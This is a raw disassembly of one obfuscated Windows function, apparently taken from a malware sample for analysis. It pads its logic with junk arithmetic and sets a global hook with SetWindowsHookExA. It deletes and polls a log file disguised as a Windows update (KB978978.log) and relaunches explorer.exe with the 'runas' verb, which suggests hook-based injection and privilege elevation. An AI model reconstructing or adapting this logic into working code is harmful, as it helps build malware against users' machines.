Function at 0x40e780
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.0042a9b0
mov eax, dword [0x458190]
mov ecx, dword [0x456824]
mov dword [esp + 0x1068], eax
mov eax, 0x7f3171f
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
push ebx
mov ebx, dword [0x456830]
push esi
push edi
mov edi, dword [0x456838]
mov esi, edi
imul esi, esi, 0x372f5c1
sub esi, eax
mov edx, ebx
imul edx, edx, 0x293deaa
add esi, edx
mov eax, 0x61bc1a5d
imul ecx
sar edx, 0x19
mov ecx, edx
add esi, edx
shr ecx, 0x1f
add ecx, esi
mov esi, dword [0x45681c]
mov eax, 0x979d1eb7
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
cmp dword [ebp + 8], 0x132b600
mov dword [esp + 0x14], 0
mov dword [str._r_____r____], ecx
mov eax, 0x7f3171f
je 0x40e89f
mov edx, dword [0x45682c]
imul ecx, ecx, 0x4067eec
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0xde454f
sub ecx, eax
add ecx, edx
mov edx, dword [0x456820]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x31a5bd5f
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456834]
sub ecx, eax
sub ecx, edx
sub ecx, 0x5305094
mov dword [0x456820], ecx
mov esi, 0x64
push 0x3e8
call edi
dec esi
jne 0x40e880
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042a171
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
imul dword [0x456820]
mov eax, dword [0x45682c]
sar edx, 0x15
imul eax, eax, 0x5305094
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, ebx
imul edx, edx, 0x22d753a
add esi, edx
add esi, eax
mov eax, 0x936c7f27
imul dword [0x45681c]
add edx, dword [0x45681c]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
sub esi, eax
mov eax, edx
imul eax, eax, 0x360833b
add esi, eax
mov eax, dword [section.msicr_os]
test eax, eax
mov dword [0x45682c], esi
je 0x40e975
mov ecx, dword [0x456834]
imul ebx, ebx, 0x360833b
mov eax, 0x3ac7f767
imul edx
sar edx, 0x17
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x62ace781
imul ecx
sar edx, 0x19
add esi, edx
mov edi, edx
mov edx, dword [0x456818]
imul edx, edx, 0x5305094
shr edi, 0x1f
add edi, esi
add edi, edx
mov eax, 0x936c7f27
imul ecx
add edx, ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, ebx
mov dword [0x456818], edi
mov eax, 1
mov ecx, dword [esp + 0x1074]
call fcn.0042a171
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x13a45601
imul esi
mov eax, dword [0x456828]
sar edx, 0x16
imul eax, eax, 0xde454f
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x293deaa
add edx, eax
mov eax, ecx
imul eax, eax, 0x53d1950
add edx, eax
mov eax, dword [0x456830]
sub edx, ebx
lea edx, [edx + eax - 0x5305094]
mov dword [0x456824], edx
lea ecx, [ecx]
mov eax, dword [0x456828]
imul esi, esi, 0x5305094
mov edx, dword [0x456824]
imul eax, eax, 0x22d753a
imul edx, edx, 0xdef222
sub eax, edx
sub eax, esi
mov dword [esp + 0x10], eax
mov esi, eax
mov eax, 0x31a5bd5f
imul dword [0x45681c]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp + 0x10]
test eax, eax
mov dword [0x456830], esi
jg 0x40eb05
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x40eb05
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40ea21
sub eax, dword [esp + 0x10]
mov dword [esp + 0x10], eax
je 0x40eb05
mov eax, edi
imul esi, esi, 0x293deaa
imul eax, eax, 0x372f5c1
sub esi, eax
mov eax, 0x13a45601
imul dword [0x45681c]
sar edx, 0x16
mov ebx, edx
add esi, edx
mov eax, 0x61bc1a5d
imul edi
sar edx, 0x19
shr ebx, 0x1f
mov eax, edx
shr eax, 0x1f
add ebx, esi
add ebx, edx
add eax, ebx
sub eax, ecx
mov ecx, dword [ebp + 0x14]
push ecx
add eax, 0x294039f
push 0
mov dword [0x45681c], eax
call fcn.0040bf90
mov edi, eax
add esp, 8
test edi, edi
jle 0x40f390
mov ecx, dword [0x456834]
mov esi, dword [0x456818]
mov eax, 0x7f3171f
imul esi, esi, 0x3422234
imul ecx
mov ecx, dword [0x456828]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x61bc1a5d
imul ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x53d1950
sub esi, eax
add esi, edx
mov eax, 0x979d1eb7
imul ecx
add edx, ecx
mov ecx, dword [0x456838]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov dword [0x456834], esi
mov esi, dword [0x456830]
jmp 0x40eb3c
mov eax, 0x3ac7f767
imul ecx
mov eax, dword [0x456820]
mov edi, dword [ebp + 0x10]
imul eax, eax, 0x2a93aa6
sar edx, 0x17
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov ecx, dword [0x456834]
imul ecx, ecx, 0xfacfaf6c
sub ecx, edx
sub ecx, eax
add ecx, ebx
mov dword [0x456838], ecx
mov ebx, dword [0x456824]
imul ecx, ecx, 0x372f5c1
imul esi, esi, 0x293deaa
mov eax, 0x7f3171f
imul ebx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x61bc1a5d
imul ebx
add ecx, esi
sar edx, 0x19
add ecx, edx
mov esi, edx
shr esi, 0x1f
add esi, ecx
mov ecx, dword [0x45681c]
mov eax, 0x979d1eb7
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
push str.c:windowsKB978978.log
mov dword [str._r_____r____], esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x456820]
mov eax, 0x3ac7f767
imul ecx
mov ecx, dword [0x456834]
sar edx, 0x17
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x62ace781
imul ecx
sar edx, 0x19
mov ebx, edx
add esi, edx
mov edx, dword [0x456818]
imul edx, edx, 0x5305094
shr ebx, 0x1f
add ebx, esi
add ebx, edx
mov eax, 0x936c7f27
imul ecx
add edx, ecx
mov ecx, dword [0x456830]
sar edx, 0x17
imul ecx, ecx, 0x360833b
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x56a32c]
push edi
push edx
sub ebx, eax
mov eax, dword [ebp + 0xc]
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
sub ebx, ecx
push eax
mov dword [0x456818], ebx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.msicr_os], eax
je 0x40f408
mov edi, dword [0x456818]
mov eax, 0x7f3171f
imul dword [0x45682c]
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov ecx, dword [str._r_____r____]
mov esi, ecx
imul esi, esi, 0x4067eec
mov eax, edi
imul eax, eax, 0xde454f
sub esi, edx
mov edx, dword [0x456820]
add esi, eax
mov eax, 0x31a5bd5f
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456834]
sub esi, eax
sub esi, edx
sub esi, 0x5305094
mov dword [0x56a330], 1
xor ebx, ebx
jmp 0x40ecb0
mov ecx, dword [str._r_____r____]
mov esi, dword [0x456820]
mov edi, dword [0x456818]
lea esp, [esp]
mov eax, 0x7f3171f
imul ecx, ecx, 0x4067eec
imul edi, edi, 0xde454f
imul dword [0x45682c]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x31a5bd5f
imul esi
sar edx, 0x17
mov eax, edx
add ecx, edi
mov edi, dword [0x456834]
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, edi
sub ecx, 0x5305094
push str.c:windowsKB978978.log
mov dword [0x456820], ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x40ed21
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x12c
jl 0x40ec97
mov ecx, dword [0x456838]
mov eax, 0x94723637
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov esi, dword [0x45681c]
mov eax, 0x63510a67
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov edx, ecx
imul edx, edx, 0x5305094
mov eax, esi
imul eax, eax, 0x3422234
sub edi, edx
add edi, eax
mov eax, 0x61bc1a5d
imul dword [0x456824]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
cmp ebx, 0x12c
mov dword [0x456828], edi
jl 0x40f477
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x40f477
mov ecx, dword [0x456820]
mov eax, 0x7f3171f
imul ecx
imul ecx, ecx, 0x360833b
mov eax, dword [0x45682c]
sar edx, 0x15
imul eax, eax, 0x5305094
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x456830]
imul edx, edx, 0x22d753a
add edi, edx
add edi, eax
mov eax, 0x936c7f27
imul esi
add edx, esi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
push 0x800
lea ecx, [esp + 0x74]
push ecx
mov dword [0x45682c], edi
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov esi, dword [0x456828]
mov edx, dword [0x456824]
imul esi, esi, 0x22d753a
mov eax, dword [0x45682c]
imul edx, edx, 0xdef222
mov ecx, dword [0x45681c]
imul eax, eax, 0x5305094
sub esi, edx
sub esi, eax
mov eax, 0x31a5bd5f
imul ecx
sar edx, 0x17
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [esp + 0x70]
push edx
lea eax, [esp + 0x874]
sub esi, ecx
push str._sexplorer.exe
push eax
mov dword [0x456830], esi
call fcn.0042a341
lea ecx, [esp + 0x87c]
push 0
push ecx
call fcn.0042a6dd
add esp, 0x14
cmp eax, 0xffffffff
je 0x40f2eb
mov ecx, dword [0x456834]
mov esi, dword [0x456818]
mov eax, 0x7f3171f
imul esi, esi, 0x3422234
imul ecx
mov ecx, dword [0x456828]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x61bc1a5d
imul ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x53d1950
sub esi, eax
add esi, edx
mov eax, 0x979d1eb7
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push str.explorer.exe
mov dword [0x456834], esi
call fcn.00405270
mov ecx, dword [str._r_____r____]
mov esi, dword [0x456834]
mov eax, 0x3ac7f767
imul esi, esi, 0xfacfaf6c
imul ecx
sar edx, 0x17
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456820]
imul edx, edx, 0x2a93aa6
sub esi, ecx
mov ecx, dword [0x45682c]
sub esi, edx
mov eax, 0x13a45601
imul ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add esp, 4
add ecx, esi
mov dword [0x456838], ecx
mov dword [esp + 0x10], 5
jmp 0x40ef60
mov ecx, dword [0x456838]
jmp 0x40ef60
mov esi, dword [0x456824]
imul ecx, ecx, 0x372f5c1
mov eax, 0x7f3171f
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x293deaa
sub ecx, eax
add ecx, edx
mov eax, 0x61bc1a5d
imul esi
sar edx, 0x19
mov esi, edx
add ecx, edx
shr esi, 0x1f
add esi, ecx
mov ecx, dword [0x45681c]
mov eax, 0x979d1eb7
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push str.explorer.exe
mov dword [str._r_____r____], esi
call fcn.00404d80
add esp, 4
test eax, eax
jg 0x40f273
mov ecx, dword [0x456834]
mov eax, 0x3ac7f767
imul dword [0x456820]
sar edx, 0x17
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x62ace781
imul ecx
sar edx, 0x19
add edi, edx
mov esi, edx
mov edx, dword [0x456818]
imul edx, edx, 0x5305094
mov ebx, dword [0x456830]
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x936c7f27
imul ecx
add edx, ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
xor eax, eax
mov ecx, ebx
imul ebx, ebx, 0x293deaa
imul ecx, ecx, 0x360833b
sub esi, ecx
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov ecx, dword [0x456838]
mov edx, ecx
imul edx, edx, 0x372f5c1
sub ebx, edx
mov edx, dword [0x45681c]
mov eax, 0x13a45601
imul edx
sar edx, 0x16
add ebx, edx
mov edi, edx
mov eax, 0x61bc1a5d
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
shr edi, 0x1f
add edi, ebx
add edi, edx
mov edx, dword [0x45682c]
add eax, edi
sub eax, ecx
imul ecx, ecx, 0x4067eec
add eax, 0x294039f
mov dword [0x45681c], eax
mov eax, 0x7f3171f
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x31a5bd5f
imul dword [0x456820]
mov dword [0x456818], esi
imul esi, esi, 0xde454f
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456834]
add ecx, esi
sub ecx, eax
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 5
sub ecx, edx
sub ecx, 0x5305094
mov dword [0x456820], ecx
lea ecx, [esp + 0x60]
push ecx
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x78]
push eax
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [esp + 0x890]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40f18e
mov ecx, dword [0x456818]
mov esi, dword [0x456828]
mov edi, ecx
imul edi, edi, 0x293deaa
mov edx, esi
imul edx, edx, 0xde454f
add edi, edx
mov edx, dword [0x45682c]
mov eax, 0x13a45601
imul edx
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x53d1950
sub edi, eax
add edi, dword [0x456830]
lea eax, [edx + edi - 0x5305094]
mov dword [0x456824], eax
jmp 0x40f27f
mov ecx, dword [0x456838]
mov eax, 0x94723637
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x63510a67
imul ecx
imul ecx, ecx, 0x5305094
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
mov ecx, dword [0x45681c]
imul ecx, ecx, 0x3422234
add esi, ecx
mov ecx, dword [0x456824]
mov eax, 0x61bc1a5d
imul ecx
sar edx, 0x19
push 1
mov eax, edx
lea ecx, [esp + 0x74]
push ecx
shr eax, 0x1f
add eax, edx
push 0
lea edx, [esp + 0x87c]
push edx
push str.runas
sub esi, eax
push 0
mov dword [0x456828], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x40f342
mov ecx, dword [0x456820]
mov esi, dword [0x45681c]
mov eax, 0x7f3171f
imul ecx
imul ecx, ecx, 0x360833b
mov eax, dword [0x456830]
sar edx, 0x15
imul eax, eax, 0x22d753a
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45682c]
imul edx, edx, 0x5305094
add edi, eax
add edi, edx
mov eax, 0x936c7f27
imul esi
add edx, esi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov dword [0x45682c], edi
mov esi, dword [0x456828]
mov ecx, dword [0x456818]
mov edx, dword [0x456834]
imul ecx, ecx, 0x3422234
mov eax, 0x7f3171f
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x61bc1a5d
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x53d1950
sub ecx, eax
add ecx, edx
mov eax, 0x979d1eb7
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
push 0x3e8
mov dword [0x456834], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x10]
jne 0x40ef4f
mov esi, dword [0x45682c]
mov ecx, dword [str._r_____r____]
mov eax, 0x13a45601
imul esi
mov edi, dword [0x456834]
sar edx, 0x16
imul edi, edi, 0xfacfaf6c
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x3ac7f767
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
imul edx, edx, 0x2a93aa6
sub edi, eax
sub edi, edx
add edi, ebx
mov dword [0x456838], edi
jmp 0x40e9c0
mov esi, dword [0x456828]
mov ecx, dword [0x456824]
mov edx, dword [0x45682c]
imul ecx, ecx, 0xdef222
mov edi, esi
imul edx, edx, 0x5305094
imul edi, edi, 0x22d753a
sub edi, ecx
mov ecx, dword [0x45681c]
sub edi, edx
mov eax, 0x31a5bd5f
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov dword [0x456830], edi
jmp 0x40f279
mov ecx, dword [0x456838]
mov eax, 0x94723637
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x63510a67
imul ecx
imul ecx, ecx, 0x5305094
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
mov ecx, dword [0x45681c]
imul ecx, ecx, 0x3422234
add esi, ecx
mov ecx, dword [0x456824]
mov eax, 0x61bc1a5d
imul ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov dword [0x456828], esi
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042a171
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x456838]
mov esi, dword [0x456830]
mov edx, ecx
imul esi, esi, 0x293deaa
imul edx, edx, 0x372f5c1
sub esi, edx
mov edx, dword [0x45681c]
mov eax, 0x13a45601
imul edx
sar edx, 0x16
add esi, edx
mov edi, edx
mov eax, 0x61bc1a5d
imul ecx
sar edx, 0x19
shr edi, 0x1f
add edi, esi
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [str._r_____r____]
add eax, edi
sub eax, edx
add eax, 0x294039f
mov dword [0x45681c], eax
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042a171
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [0x456824]
imul ecx, ecx, 0x372f5c1
mov eax, 0x7f3171f
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x293deaa
sub ecx, eax
add ecx, edx
mov eax, 0x61bc1a5d
imul edi
sar edx, 0x19
add ecx, edx
mov edi, edx
mov eax, 0x979d1eb7
imul esi
add edx, esi
sar edx, 0x19
shr edi, 0x1f
mov eax, edx
shr eax, 0x1f
add edi, ecx
mov ecx, dword [esp + 0x1074]
add eax, edx
sub edi, eax
mov dword [str._r_____r____], edi
mov eax, 1
call fcn.0042a171
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret